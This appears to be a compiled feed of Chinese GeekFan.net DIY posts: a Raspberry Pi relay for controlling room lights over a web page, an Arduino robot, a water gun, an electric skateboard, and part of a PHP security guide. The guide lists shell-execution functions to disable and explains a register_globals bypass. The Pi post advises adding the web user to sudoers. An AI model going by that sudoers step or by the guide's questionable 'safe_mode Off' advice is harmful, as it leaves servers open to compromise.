极客DIY:轻松使用树莓派控制灯

最近笔者正在研究微控制器和基于物联网的设备安全。因此,我开始考虑建立一个小型家庭系统化系统,虽然目前还没完成,但我想先在文章中分享一下我如何使用树莓派2及一些其他电子元件来控制房间的灯光。当然,我在这里不会介绍树莓派的初始设置,因为你可以在网上发现各种各样的教程。

注意事项

在我们继续实验之前,我想有必要提醒一下关于实验中“电流”的危险性。一旦出现任何状况,最糟糕的情况就是死掉或者烧了你的房子。所以,请不要试图完成任何文中提到但是你不理解事情,或者你可以在制作的时候寻求一些有经验的电工的帮助。

好啦,让我们开始DIY吧!

实验准备

硬件需求

1、树莓派2(或者任何5V输出功率的型号,均可)

2、USB无线软件狗

3、8路继电器

4、一些Female-Female跳线(40 PCS FEMALE TO FEMALE JUMPER WIRES)

5、灯头电线

(以上硬件,某宝均有销售)

其他要求

1、了解基本Python语言或者其他任何语言(我会用到Python)

2、对Linux系统有基本了解

3、专心致志

流程要求

首先,用ssh链接到树莓派上,并安装“apache”和“php5”:

你会需要安装python的GPIO库来控制树莓派的GPIO插脚:

了解元件

现在,在我们继续制作之前,你需要了解一下我们将使用到的电子元件。

1、继电器

继电器是一种使用非常低的电压输入控制高压电的电气设备。由一个线圈缠绕的金属杆和两个小型金属节点构成的闭合电路。其中一个节点是固定的,其他的都是可移动的。无论何时,当电流通过线圈的时候,它会产生一个磁场,吸引可移动节点向静态节点运动,形成电路。通过给线圈供应小额电压,我们就能完成高压电路的轮回。同时,静态节点并非在物理上与线圈有联系,因此一旦有地方出错,微控制器驱动的线圈也很少出现故障。

试验中,我使用一个8路继电器,可以同时控制8个设备。你可以选择自己的继电器或者继电板,但是请确保你在继电器的额定电压之内处理,以避免任何事故的发生。

2、跳线

跳线就是我们链接树莓派GPIO插脚与继电器的简单连接电线。

3、树莓派2

我们使用树莓派2作为一个微控制器来操纵继电器。它有40个GPIO(通用输入/输出)插脚。你可以看到下面这些插脚的布局,我们将使用这些接口为继电器加电和控制开关。

连接电路

电路非常简单。我们将连接GPIO插脚到继电板上。首先连接继电器板上的“GND”与树莓派上的任意“GND”。然后链接继电器的“IND1”到GPIO PIN 17,我们会把GPIO PIN 17作为一个控制第一继电器的输出。最后,将继电器的“VCC”连接到树莓派的“5V”GPIO插脚。让我们简单直接设置一下:

现在我们到了最为棘手的部分,我们要将继电器连接到接通主电路供电的灯头上。但是,我想先给你介绍一个如何通过直流屏电源开启及关闭灯光的简单操作。

我们通常连接两根电线到灯泡上,来提供电流供给。其中一根电线是“中性”电线,另一根则是实际带着电流的“负极”电线,同样的这里也有一个控制整个电路的开关。因此,当开关(闭合)连接到流经灯泡的电流和负极电线时,电路便完整了。灯泡从而亮了起来。当开关(断开),破坏了电路和灯泡的电流,因此灯泡不亮。这里有一个小的电路图来解释具体情况:

当我们在试验中,我们需要“负极电线”通过我们的继电器来打破电路,从而使用继电器开关的控制流经的电流。因此,当继电器打开,在闭合电路中灯泡也应该亮起来,反之亦然。请参考一下完整的电路:

控制脚本

现在,终于到了软件的部分。我编写了一个简单的python脚本来控制继电器开关,使用了GPIO PIN 17和一个PHP代码可以在任何移动终端上面来运行python脚本。你可以从我的Github(和CSS)上找到这段代码。

注意:你将会需要添加“www-data”用户到sudoers文件。

注意+:PHP代码只是为了测试,我们不建议在公共环境中运行。

不久我将完成这个设置,希望回来更新一个新的帖子。请在那时之前,自己动手试一下这个控制灯,但是一定要注意安全。

视频展示:demo1 :

demo2:

 

参考

· GPIO Diagram: http://data.designspark.info/uploads/images/53bc258dc6c0425cb44870b50ab30621

·https://www.youtube.com/watch?v=Z2B67hybdAA

·https://elementztechblog.wordpress.com/2014/09/09/controlling-relay-boards-using-raspberrypi/

·https://www.raspberrypi.org/forums/viewtopic.php?t=36225

·https://github.com/TheGreenToaster/web-pins/

极客DIY:轻松使用树莓派控制灯,首发于极客范 – GeekFan.net

自主机器人:你的私人WALL·E

DIYer: Kris Magri
制作时间: 2-3周
制作难度: ★★★★☆
GEEK指数: ★★★★★

看最终效果视频

Makey是我编程实现的一个自主机器人(自主者,非遥控也),能够识别并规避障碍。她拥有全封闭的底盘并使用差速转向(原文为“tank steering”,坦克的驾驶方式),这种转向方式使用两台分开控制的电动机分别驱动两个主动轮(一机一轮)

控制信号来自其自身携带的Arduino微型控制器(在国内用单片机如PIC、AVR,或者Arm处理器都可以很好地替代),另外有一个舵机用于Makey头部的转动。Makey的头部装有一个超声波探头,她会持续的左右摇头,以得到不同方向上的距离信息,并进行存储和处理

通过对Arduino的编程,Makey可是实现诸如寻路的功能,仅需要少量硬件上的修改,Makey即可参加机器人界热门的Mini-Sumo(迷你相扑)比赛.

 

1 工具和材料

● (使用的工具与零部件列表这里没翻,毕竟相当一部分东西买原版都不太现实也没有必要–国内的家伙事儿差不多的也能土法上马,有兴趣的童鞋请参考原文)

● 想得到关于这个项目的图示、图纸、代码,请移步 资料下载

2   制作机身

● 机身由两片铝合金薄板制成,涉及的加工方法有切割、钻孔和折弯。你可以一次一片的加工,或者两片一起做以减少占用加工设备的机时。成品见2.5
● 猛击 资料下载 下载图纸并全尺寸打印。剪下底板(base)切割图,用双面胶将切割图均匀平整的贴在铝合金薄板上
● 注意:切割金属时务必佩戴防护眼镜

2.1 切割

 

● 用带锯机把铝合金片切成图纸的形状,切割的边缘一定要在线外
● 提示:切割内角时,先切出一个大概的弧形曲线,然后从两个方向直线进刀以得到直角

2.2 打孔

● 用冲子和小锤子在图上有十字线的17处冲出定位孔,为下一步的钻孔做准备。另外要在图上长方形的孔的四个角上冲透

● 按照图上标十字线处的尺寸钻孔,要首先取下贴上去的图纸(不过别扔了),用钻头对准前面留下的冲痕开钻可以使钻孔更精确
● 把金属牢固的夹在废木头板上或者随便什么垫子上,这样可以得到更平滑的孔而不会导致薄金属板在钻孔处扭曲变形
● 为了掏成方形孔而钻圆形孔时,你可能需要调整钻孔的直径以使圆孔边缘与长方形的边相切

2.3 挖槽

● 用冲剪完成对长方形孔的加工,如果你愿意的话可以把前面揭下来的图再贴回去,以便容易知道长方形的边界在哪。最后把边缘磨平
 
● 用手工打磨工具去掉金属边缘的毛刺。给小孔磨边的方法为:把大钻头的尖端插进小孔,然后手工转几下

冲剪是长成这样滴:

 

2.1-2.3都是跟合金板过不去的活儿,原作者的办法基本是土法上马,与美帝的高科技风格严重不符。柚子在大学折腾机器人那会儿去交大观摩,他们有加工中心,只要把CAD图画出来发过去,那边用等离子切割机就给“打印”出来了,钻啊、掏异形啊这种活儿根本不存在。更神奇的是切完的边不用磨,基本不扎手。另外我们用土法掏方形孔的时候是先钻大孔,把带锯拆开一头套进去然后慢慢锯,得到的孔要多丑有多丑,然后还得上铁砧拿小锤砸平

2.4   弯板

● 把底板的折弯图用双面胶贴到铝板的另一面,对准圆洞方洞的位置,别贴歪了
● 把铝片贴折弯图的一面向上塞进弯板机里,在所有标示折弯的部位折90度
 
● 每个长边上的两个突出部要先折,然后再折机身的边。(顺序反了就塞不进去了)
● 折弯后要缓慢释放,测量,确认每一处折弯都要是直角
2.5   制作顶板

● 重复2.1-2.4步骤,加工顶板(top),然后你就搞定了每个机器人都会喜欢的底盘

3 运动系统

3.1 安装电机

 

● 用4-40 x 1螺丝穿过小孔,将驱动电机定位在底板上,电机的传动轴应该穿过大孔
● 使用螺母和垫片在电机的一端上紧,因为可以施展的空间尺寸很小,可能需要尖嘴钳子(夹住螺母)才能上紧
3.2   制作轮毂

● 用2英寸(外径,合50.8mm)的空心钻头(见过装空调的师傅在墙上钻大洞用的那种钻吧,很类似)在废木头板上钻出轮子(钻透木板之后木板上有个圆洞,钻头中间的洞里会剩下个圆片,这个圆片就是轮子),我用了18号板(貌似是一种规格),最终得到的轮子有3/4英寸(19.05mm)厚,直径1.8英寸(45.72mm)。钻轮子的时候要牢固的固定木板,并且缓慢进刀,防止卡住钻头
● 给2个木头轮子分别对心定位一个轮心(图中白色塑料的小轮子),并用小螺丝标记两个孔的位置,在此位置上用1英寸(原文如此,合25.4mm,不过疑为有误,从图上看孔绝对没那么大)的钻头钻透
● 给木头轮子喷漆,我喜欢红色光面防锈漆,这种东西非常薄,颜色很亮,覆盖性好并且容易清洁。注意,不要在安装孔里喷太多

 

3.3   制作轮胎
● 用43号钻头在轮心上钻两个相对的孔,然后用4-40丝锥在每个孔里攻出螺纹
● 用两个4-40 x 1螺丝从木轮外侧把轮子和轮心固定在一起,不要太紧
● 给每个轮子装轮胎,轮胎外径比较大的一面朝外。最后把轮子装在驱动电机的传动轴上
3.1-3.3就是折腾那俩轮子,原作者极其不厚道,没说怎么对心,这个很重要,谁也不希望做完的机器人跑起来一跳一跳的。您还别问我咋对心,我也没经验,新手还是找现成的轮子对付一套比较安全。另外3.2-3.3中原作者留下一个逻辑错误,看出来的童鞋请举手
3.4   安装万向轮
● 使用螺丝、螺母以及垫片将万向滚珠安装在底板底部

4 电控系统

4.1 安装电源

● 按照第一步打印出来的隔板图样,从一块硬塑料上切出隔板(隔板是用来装线路板的,用塑料是为了绝缘),按说明打孔,尝试着塞进机器人的外壳并使之架在驱动电机之上,作必要的修整,令其充分贴合匹配
● 用两个4-40 x 2螺丝将Arduino控制线路板与硬塑料隔板固定在一起,螺丝应从隔板下方穿入,并在线路板上方拧螺母。线路板上的USB接口需要和机器人面板上预先留好的开口充分对齐
● 将电池夹具铆接在机器人外壳的左侧面板上,预制的铆钉头朝外,这样的话丑的一头就朝里啦
关于铆接,这里指的不是造泰坦尼克的那种把烧红了的钢制铆钉插进去挤兑一下的工艺,而是一种将铝合金预制铆钉的开放端在常温下挤压成型从而将两个或更多构件固定在一起的方法,最常见到的是各地马路边的刮大风能掉下来砸死人的铁皮广告牌子,它们就是用这种工艺把镀锌薄钢板固定在L字钢框架支撑结构上滴
4.2   控制板
● 按照制造商的教程,把原型板(ProtoShield)焊好教程在 这里
● 用带锯机把板子上的BlueSMiRF接头切下来,这个接头是用来连接蓝牙模块的,我们的机器人用不到那东西。是不是锯得很爽?
● 把面包板接在原型板上,原型板插在Arduino上,如果用的是Diecimila(Arduino主板的一个版本),那么将电源跳线设置在EXT位上

焊接原型板绝对不是个轻松的活儿,没基础的童鞋搞不定也不用纠结。面包板(breadboard)是这么个东西,其意义在于省了烧电烙铁的麻烦,不过问题是有时候元件捅进去会接触不良…

 

 

5 给WALL·E安上一双明亮的眼睛

5.1 WALL·E的脖子

● 咱这个项目用的是HS-55型舵机及与之配套的较短的一字舵角,用5”钻头对舵角最靠外的两个孔进行扩孔

Du-Bro Mini E/Z 连接头, #DUB845

微副翼系统 Du-Bro Micro Aileron System, #DUB850

● 将两个Du-Bro Mini E/Z连接头从正面穿过摇臂两端的孔,并在反面用黑色橡胶的部件固定
● 将控制杆(图中所示的细铁丝样东西)穿过Du-Bro Mini E/Z连接头,并用连接头附带的螺丝拧紧
5.2   WALL·E之眼
● 有挑战性的工作来咯!咱们需要把舵机和超声波探头接在一起。把从舵机上伸出来的控制杆分别穿过位于传感器电路板对角的定位孔(这个定位孔来自Du-Bro Mini E/Z连接头,连接头又插在板子上的螺丝眼里,然后另一端用那个黑橡胶部件固定)并向外折成90度角
● 控制杆应该从舵角开始竖直向上,并且给超声波探头留下足够插信号线的空间,传感器正面(有收发端,也就是像俩小眼睛的那一面)朝前,控制杆上还应该套上绝缘套(就是那个塑料管)以防止短路,绝缘套在Du-Bro套件里可以找到。确认安装无误后,将控制杆与传感器上的连接头拧紧。
Du-Bro是美国的一家生产模型配件的公司,很遗憾我没找到这些产品的国内版本。欢迎在国内见过这些配件的同学提供信息
5.3   给WALL·E安上一双明亮的眼睛
● 将舵机和超声波探头出来的线穿过机器人外壳顶部预先留下的长方形开孔
● 舵机也要插进那个顶部开孔,调整好位置后两边用螺丝与螺母将舵机与外壳固定好,剪去多余的控制杆(还是那个细铁丝)
● 把舵机摇臂与舵机上到一起,用小螺丝刀调整一下保证Makey的眼睛(传感器)朝前

6 连接并测试驱动电机

6.1 电机预处理

● 咱的地摊货电机上的连接头部件是很脆弱滴,所以连接部分一定要用心
● 从外壳里拆出电机和Arduino线路板
● 切2红2黑各12英寸(304.8mm,12寸炮是305mm的,比如筑波级的2*2主炮)电线,每条线的两端1英寸(25.4mm)剥去绝缘皮。先别焊接,用一个红黑线对在电机的末端(有电源接点的那一端)缠几圈,以防止拉断,然后让线对从电机顶端通过,用双面泡沫胶带将其固定在电机上。注意不要覆盖电机上的任何孔洞,同时要为电机的固定留足空间
 
● 将电容的两个引脚分别穿过电机接线头上的小孔,焊接(这里应该是把引脚穿过去的部分和同一根引脚的根部焊在一起,这样的话引脚和电机接线头就充分连通了。注意,千万别把俩引脚焊在一起!)这需要使用尖嘴钳的巧妙掰弯手法。然后把给电机供电的电线头与电容引脚,注意,不是电机接线头,焊在一起,焊牢稳一些。再然后剪掉多余的电容引脚。把电容和缠在电机末端的电线一起用黑胶布(也就是绝缘胶带)紧密的缠在电机上,并且用更多的泡沫胶带把这个鼓鼓囊囊的位置包起来(还是为了固定)
● 把漏在外面的电机供电线拧成双绞线,这样可以减低电路中的噪声(一个供电的低压直流线路里有点噪声怕什么?原作者的想法好奇怪)。给电机标出左和右

在电机上并联了一个电容,这样做有两个好处。

其一,在稳定的直流电路里,电容是开路,不会影响电机工作,但是给电机通电的那一瞬间,电容因为要充电,可以分担一部分电流,所以电容作为一个保护器件可以保护电机。

其二也是更重要的,这种直流电机的接线头是一个铜合金片,从电机的塑料外壳里伸出来(通常被和塑料铸在一起),鬼知道奸商们用了什么材料,反正这个东西非常脆,尖嘴钳上去经常能掰断,然后这个电机就没啥抢救的价值鸟,另外这个铜片不怎么粘焊锡,焊接不易。但是电容的引脚一般都是类似铝、锡一样的柔韧金属,想怎么扳都能成形,焊起来也容易得多,所以作者把电气连接的活儿都转到这个引脚上来做。

【连电机的小经验】铜接线片作连接之前最好用细砂纸小心的蹭几下,去掉氧化物。电容线脚穿过去之后轻轻拉紧,在穿孔附近用尖嘴钳用力捏一下,使线脚与铜片充分接触。另外电线最好挑独轴的,也就是绝缘皮里面只有一根金属的,那种绝缘皮里有一束极细铜丝的线焊起来会有想死的冲动

6.2   电机测试

 

● 将短实心跳线分别焊接到电机供电线和电池接头线上,这些跳线可以让你把它们(电机和电池)插到面包板上,焊接之后用热缩胶带作焊点的绝缘(用绝缘胶布缠是一样的,除了丑一点和大一点)。将电机供电线穿过塑料隔板(4.1提到的那个)上的大窟窿(因为面包板和电机分别在隔板上下两侧)
● 按图示把电机驱动器插进面包板中间的一行孔里,使之和电机以及一个电池连通(注意,在面包板上,每一行的孔之间是连通的)。使用短跳线并保证这些线紧贴面包板,傻大黑粗的大电线是不配塞进机器人里的
● 从 Arduino官网 下载Arduino的软件并且安装之,再从 资料下载 处得到这个项目的5个测试程序。通过USB接口把你的Arduino和电脑连起来,如果你用的是Diecimila版本的话,把它的电源跳线接换到USB档上。
● 为了测试电机,运行名为01_Test_Motor_Rotation的程序,此时左边的电机应该先往前转再往后转,然后是右边的,先往前再往后。如果不是这样,检查一下你的接线。接下来运行02_Test_Motor_Speed,此时电机应该以低速启动,然后加速,最后反方向转,如果不是这样的话检查线脚D11和D3

7 连接并测试舵机和传感器

7.1 连接舵机

● 将电机和Arduino再装回机器人里面,找两个3针的单排直角插针(通常是将一个20针的单排插针折断得到)插在面包板上,把舵机线接在上面,具体接线规则为:黑线-GND(地线,电池负极),红线-+5V(电池正极),黄线-Arduino跳线D10
● 再来一个3针右转接头,这个是接超声波探头的,接线规则为黑线-GND(地线,电池负极),红线-+5V(电池正极),黄线-Arduino跳线D9

7.2 测试舵机和超声波探头

● 运行舵机对中程序03_Test_Servo_Center,松开舵机摇臂的螺丝并微调,舵机臂与超声传感器尽量指向正前,因为舵机轴齿轮的问题,这一步可能无法完全对中,没关系,我们稍后再调整
● 运行程序04_Test_Servo_Sweep,这个程序可以让超声波探头慢慢的摇头
● 再来测试超声波探头,运行05_Test_Sensor_Distance,点击Arduino软件的数据流监视器图标,你应该能看到不断跳出来的测距读数,而且如果你在传感器之前挥舞你的手,测距读数应该有变化。如果你得到的读数始终是0或者255厘米或者别的什么错误的读数,检查你的接线是否有误,并且千万确定你的传感器没接反 :P

7.3 安装开关

● 终于可以接电源开关鸟!把Arduino最后一次拆出来,为了装开关,需要把还没用到的电池引线的红线焊在开关的一端并且把另一跟红线焊在开关的另一端。同样别忘了把电池的黑色引线和另一个根黑线焊在一起
● 把线从机器人侧面的方形孔穿好,开关需要打在“1”的档位上,把开关塞进方孔里固定好,这个调整可能会用到钳子
● 把从开关出来的红色线脚接到原型板的RAW线脚上(这个线脚还连着Arduino的Vin线脚),把从电池出来的黑色线接到原型板的GND线脚上,如果你用的是Diecimila版本的话,把它的电源跳线调回到EXT档上

8 系统测试

● 现在所有的电子设备工作都正常鸟,小心的把所有东西塞回机器人里,啥也别落下。装好电池,把机器人放好,别摔了。用来传程序的USB接口应该能从侧面的孔里露出来
● 重新载入并运行01_Test_Motor_Rotation,注意,所谓前是指机器人的USB接口和传感器指向的方向,如果你的机器人反着跑,检查在线脚AOut1, AOut2, BOut1, BOut2, AIn1, AIn2, BIn1, 和 BIn2处的接线,可能也会需要反转驱动电机的连接
 

● 重新运行其他的测试程序,确认接线正常,测试完成后把舵机和传感器的线塞进外壳里,扣上顶盖,拧上4个螺丝固定,收工!

 

9 给你的WALL·E注入灵魂

● 有时候你的硬件做好了你就没啥事可干了,不过你的程序是写不完滴。这也是你展示创造力的好时机
● 在代码中你需要使用digitalWrite和analogWrite这俩函数来控制驱动电机,通过传递值给电机驱动器的各3个线脚。其中一个可以接收介于0到255之间的值,用于控制传给电机的电流大小,这个是用来控制速度的。另外2个线脚则使用布尔型变量,用于决定每个电机两端的电位高低,这个可以决定电机的方向(当然电机两端只能一端是高电位)
● 你可以编写类似void Forward()这样的函数实现简单的动作,比如后退(两个电机同时反转),Spin_Left(原地左转,右轮正转左轮反转),Arc_Left(画弧左转,右轮正转左轮不动)之类的。Arduino的编程环境使你的代码实验和加载都很方便
● 另外一个好玩的事情是规避障碍,只要运行这样一个循环:往前走,读取测距信息,如果障碍物太近则采取躲避动作比如后退并转弯,返回循环体头部

10 关于Mini-Sumo(迷你相扑)比赛

● 在 Mini-Sumo 比赛中,两个自主机器人会被放置在一个用白色漆成的圆形场地中
● 只要换上窄一些的轮子,比如GM家卖的 这种 ,Makey就可以满足大赛要求的尺寸和重量上限:底面10厘米见方、500克。你极有可能需要另外的朝下的传感器用来观察那个白色的环(场地边界),不过Arduino有足够的能力处理其他多出来的信号

11 DIYer签到处

虽然这个项目很困难,不过也不是完全不能做。如果哪位蛋疼的同学把它做出来了…应该会很愿意在这里秀出来让大家围观吧…

 

制作视频:

自主机器人:你的私人WALL·E,首发于极客范 – GeekFan.net

牛人自制加特林水枪,让你度过丧心病狂的夏天

(该项目来源于instractables,原文链接在这里,作者:projectsugru。该项目各步骤主要展示Sugru凝胶(或者是某特种粘土,本文统一译为Sugru凝胶)的应用,对加特林水枪的制作过程没有记录,但文后给出了各零件的图纸,相信DIY达人还是能搞定的。)

夏季的疯狂离不开水枪,我们要做一支史无前例的、帅到没边的加特林水枪,废话略,开始吧。

 

Step 1: 制作活塞

本步骤器件清单

PVC管一段,特种粘接剂(两种颜色,名为Sugru,以下称Sugru凝胶),锯子、夹具、锤子、雕刻工具和一杯肥皂水。

步骤:

1、用夹具夹住PVC管,锯下需要的长度(我用了2.5cm长);

2、将肥皂水涂在工作台面上(防止Sugru凝胶粘在台面上);

3、打开两小包同色Sugru凝胶并混合,把Sugru凝胶填充进刚切下的管子里,要完全塞满;

4、放置24小时让Sugru凝胶固化;

5、Sugru凝胶凝固后,将这段管子纵向置于夹具中,把PVC管切开小口(注意不要切到里面的Sugru凝胶);

6、用锤子敲击这段管子,直到把外面的PVC管敲破,得到一段圆柱形Sugru凝胶;

7、用雕刻工具加工圆柱凝胶两端,去掉部分材料,这有助于让活塞更湿软;

8、在这小段Sugru凝胶圆柱中部,沿周向雕刻环形凹槽;

9、打开第3包Sugru凝胶,滚成细长条并填充在上一步做成的凹槽上,注意让环状填充物的周长略大于Sugru凝胶圆柱,并放置24小时;

10、固化后,就得到一段活塞了,可以把它浸入肥皂水中。

 

Step 2: 做Sugru凝胶注射器

 

本步骤器件清单

Sugru凝胶一小包、壁纸刀、可弯曲的塑料管/软管、金属杆(或适合把Sugru凝胶推入管子的东西)、X2金属连接件、螺丝刀。

步骤:

1、用壁纸刀切下一段塑料管子(我们切了4cm长);

2、打开一小包Sugru凝胶,用手指捏成条状(享受这种感觉吧);

3、继续将Sugru凝胶滚成细长条;

4、用金属杆把Sugru凝胶推入塑料管子,从管子的两端推Sugru凝胶,确保Sugru凝胶塞满管子正中,两端留出1cm的空管子,静置24小时;

5、固化后,在Sugru凝胶中心钻通孔,孔径按你的需要确定即可;

6、在这段塑料管子外套上金属连接件。

Ok,Sugru凝胶注射装置就搞定了。

 

Step 3: Sugru凝胶绝缘开关

本步骤器件清单

Sugru凝胶一小包,漆包线,电烙铁和焊丝。

步骤:

1、用蓝色交联剂将用到的漆包线固定在恰当位置。

2、预热电烙铁,把两条线焊在合适的位置,确保焊点牢固。

3、取少许Sugru凝胶涂在焊点上,抹平,塑形。

4、放置24小时固化。

 

Step 4: 用Sugru凝胶连接和密封几段管子

 

本步骤器件清单

Sugru凝胶一小包,各种需要的管子(粗管、细管、渐缩管)。

步骤

1、摊开并排好所需零件。

2、用渐缩管连接管子。

3、将Sugru凝胶涂于连接处,注意Sugru凝胶必须完全覆盖连接点并超出连接部分,这样才能提供足够的结构支撑。

4、抹平Sugru凝胶并放置24小时固化。

 

Step 5: 定制Sugru凝胶手柄

本步骤器件清单

Sugru凝胶4-5小包,手柄。

步骤

1、打开一小包Sugru凝胶,润湿,让它软化。

2、从手柄底部开始涂抹Sugru凝胶(不够再开一包)。

3、继续一点一点地覆盖手柄,确保Sugru凝胶连成一片,完全覆盖了手柄表面。

4、手柄全部覆盖后,可以考虑用嵌入另一种材料的方法给手柄加纹理,我使用了背包带,你也来点创意吧,比如有人用海绵、牙刷,甚至橘子。

5、在Sugru凝胶固化前(从开包到开始固化,有30分钟时间),还可以用力抓握手柄,这样可以印出个性化的抓握痕迹。

 

Step 6: 用Sugru凝胶做护边

本步骤器件清单

Sugru凝胶1小包(实际只需要半包就可以保护每根管子)。

步骤

1、打开一小包Sugru凝胶,润湿。

2、取一半,并滚成两个等大的小球。

3、在金属碟尖锐处敷上Sugru凝胶。

4、塑形、平滑Sugru凝胶,确保管子连接正常,放置6小时固化。

5、检查管子和槽孔的配合,注意,如果Sugru凝胶使用过多,可以用壁纸刀在固化前切一点下来,如果Sugru凝胶用得太少,因为Sugru凝胶的粘连性很好,所以只要再加一层就好。

Step 7: 用Sugru凝胶固定松动部件

Step 8: 激光切割件的Dxf和Pdf文件

这把水枪制作周期长(超过60小时的团队工作量,还有许多无法入眠的夜晚),我们没有记录下全部过程。

实际制作这个大杀器是件令人兴奋的事情,Dxf文件给出了该项目中各组件的激光切割模型,请在这里下载,Pdf文件仅供快速预览,可以在这里下载。

文件的比例是1:1,铝合金零件厚4mm,不锈钢零件厚3mm。

相信这些文件能给你更高的起点。

附件:

牛人自制加特林水枪,让你度过丧心病狂的夏天,首发于极客范 – GeekFan.net

自制拉风电动滑板,回头率太高有点不习惯

创意是参照了@动力老男孩的一篇文章,最初的想法是DIY一个可穿戴的动力轮,像鞋子一样穿在脚上,不用的时候可以自动折叠收在小腿和膝盖处,用的时候可以伸张成轮子电力驱动快速前进,有点像哪吒的风火轮,主要是受《变形金刚》和《钢铁侠》两部电影毒害太深。后来发现水平极其有限,买了很多零件设备却做不出个所以然,东西都搁置在一边大半年。有天在网上看到动力老男孩的视频是把活力板改装成动力滑板,觉得我所有的材料都有了,就是差一块活力板了,于是速上某宝买了一块。然后就是水到渠成了。

废话不多说,下面上图,有的细节就省掉了

铝合金活力板,6寸皮带轮,皮带,120W有刷电机,控制器,安装支架,万向轮4寸

电池,遥控车手柄,铝盒。这些材料都是网上淘的,如下图:

1,活力板直接卸掉原来的轮座。

2,前轮用4寸的万向轮代替,万向轮的安装孔距(75*45)与活力板(65*35)的不一致,需要自己重新开孔对位,有点麻烦,不过也就是几分钟的事情,开孔搞定。

3,后轮找不到合适的支架,直接买了铝合金自己开孔加工的,这个花了两三天时间,因为要同时考虑电机、后轮、皮带和齿轮的重合,肯定要在一条线上面了,不然跑着跑着皮带跑偏掉链子了。电机架是用50*50的角铝做的,后轮支架用的是40*80*40的槽铝与铝排用螺丝铆合,图纸如下。图纸设计好后加工就容易了,手钻定好位,直接开孔就好,把握好力度不要打偏了就行。

电机架

后轮结构

4,duang,后轮和电机的安装就搞定了

机械结构主要工程完工,下面搞控制器。

5,控制器、电池和保护板都是网上买的,根据要求设计尺寸,然后点焊成2并7串,钴酸锂电池29.4V,刚刚配24V的电机,加上均衡充保护板,与控制器一起安装在铝盒里面,然后外接了航空接头和充电口。具体步骤省略,九芯航空接头是为了方便控制手柄接入,引出控制器的速度控制,开关,电量显示,刹车一共9条线,有三条是GND可以共用,其实七芯就可以了。

6,为了降低成本,没有使用无线控制,本人对无线控制接收也是一无所知,所以使用传统的有线手柄。控制手柄纯手工打造了,将玩具枪里面的扳机改造了一下,在扳机上加上两颗钕铁硼磁石,在两颗磁铁活动范围中心位置固定霍尔元件。原理跟电动车手把是一样的,转把里有一个感应磁力线大小的线性霍尔元件,手柄里还有两块磁铁,扳机转动磁铁也跟着转动,霍尔感应到磁力信号 就给控制器发出信号,从而控制电机转速。刹车也是改动了扳机,扳机往前推的时候触碰到一个非自锁开关,就能刹车,松开后开关会复位。另外在玩具枪上加上一个拨动开关控制总电源。电量显示还没想好怎么接,先预留着。

7,续航里程8~12km,最大速度18km/h,总重6kg,比网上销售的400RMB左右的铅酸滑板车行程要远,毕竟是锂电池的,动力比起铅酸也有力一些,另外楼主75kg,里程跟使用者体重也有关系吧。总成本在400元左右,忽略某些零件的邮费成本,因为某些零件比邮费还便宜,有兴趣的朋友自己DIY一台吧。

开出去还是挺拉风的,回头率高了有点不习惯。不过要说明的是由于前轮的直径只有100mm,所以如果路不是很平整的话最好不使用,一个是会颠簸的厉害,另外如果前轮被阻了因为重心比较高很容易摔跤的。玩过滑板的都知道,所以最好在柏油路或者在水泥路面上使用,另外要求路上车少人少最好。

元件清单

序号 物料名称 规格 数量
1 面板 21*85 1
2 后轮 138*24皮带轮 1
3 槽铝 40*80*4*80 1
4 铝板 100*40*4 2
5 轴承 8*100mm 1
6 后轮皮带调节器 通用 1
7 后轮槽铝螺丝 M6*8内六角 4
8 后轮架螺丝 M5*10内六角 8
9 后轮架铆合螺母 M5 8
10 前轮 4寸PU轮 1
11 前轮架 75*45,130mm 1
12 前轮螺丝 M6*30内六角 4
13 垫圈 M6 4
14 前轮减震弹簧 D20*20 4
15 皮带 15*420 1
16 电机 100W 24V 5A 1
17 电机齿轮 1
18 电机螺丝 M5 2
19 电机架锁紧螺丝 M6*8内六角 4
20 电机架(角铝) 50*50*3 1
21 铝壳 106*100*60 1
22 铝壳螺丝 自带 8
23 铝壳固定螺丝 M6*8内六角 4
24 控制器 100W 1
25 电池 钴酸锂18650 14
26 保护板 2并7串 1
27 热缩管 若干
28 插簧 6mm 2
29 接线端子1 VH3.96-3P 手把 1
30 接线端子2 VH3.96-2P 刹车 1
31 接线端子3 VH3.96-2P 开关 1
32 接线端子4 VH3.96-2P 充电口 1
33 电子线 若干
34 充电接口 DC-2.5-2.1 1
35 充电器 24V 1.8A 1
37 九芯航空插头 1
38 九芯航空线 1
39 遥控车手柄 1
41 电压显示 1
42 开关 1
43 触动开关(刹车) 1
44 胶水 若干

 

 

视频:

自制拉风电动滑板,回头率太高有点不习惯,首发于极客范 – GeekFan.net

PHP开发安全问题总结

php给了开发者极大的灵活性,但是这也为安全问题带来了潜在的隐患,近期需要总结一下以往的问题,在这里借翻译一篇文章同时加上自己开发的一些感触总结一下。

简介

当开发一个互联网服务的时候,必须时刻牢记安全观念,并在开发的代码中体现。PHP脚本语言对安全问题并不关心,特别是对大多数没有经验的开发者来说。每当你讲任何涉及到钱财事务等交易问题时,需要特别注意安全问题的考虑,例如开发一个论坛或者是一个购物车等。

安全保护一般性要点

  • 不相信表单

对于一般的Javascript前台验证,由于无法得知用户的行为,例如关闭了浏览器的javascript引擎,这样通过POST恶意数据到服务器。需要在服务器端进行验证,对每个php脚本验证传递到的数据,防止XSS攻击和SQL注入

  • 不相信用户

要假设你的网站接收的每一条数据都是存在恶意代码的,存在隐藏的威胁,要对每一条数据都进行清理

  • 关闭全局变量

在php.ini文件中进行以下配置:

register_globals = Off

如果这个配置选项打开之后,会出现很大的安全隐患。例如有一个process.php的脚本文件,会将接收到的数据插入到数据库,接收用户输入数据的表单可能如下:

<input name="username" type="text" size="15" maxlength="64">

这样,当提交数据到process.php之后,php会注册一个$username变量,将这个变量数据提交到process.php,同时对于任何POST或GET请求参数,都会设置这样的变量。如果不是显示进行初始化那么就会出现下面的问题:

<?php
// Define $authorized = true only if user is authenticated
if (authenticated_user()) {
    $authorized = true;
}
?>

此处,假设authenticated_user函数就是判断$authorized变量的值,如果开启了register_globals配置,那么任何用户都可以发送一个请求,来设置$authorized变量的值为任意值从而就能绕过这个验证。
所有的这些提交数据都应该通过PHP预定义内置的全局数组来获取,包括$_POST、$_GET、$_FILES、$_SERVER、$_REQUEST等,其中$_REQUEST是一个$_GET/$_POST/$_COOKIE三个数组的联合变量,默认的顺序是$_COOKIE、$_POST、$_GET。

  • 推荐的安全配置选项

error_reporting设置为Off:不要暴露错误信息给用户,开发的时候可以设置为ON
safe_mode设置为Off
register_globals设置为Off
将以下函数禁用:system、exec、passthru、shell_exec、proc_open、popen
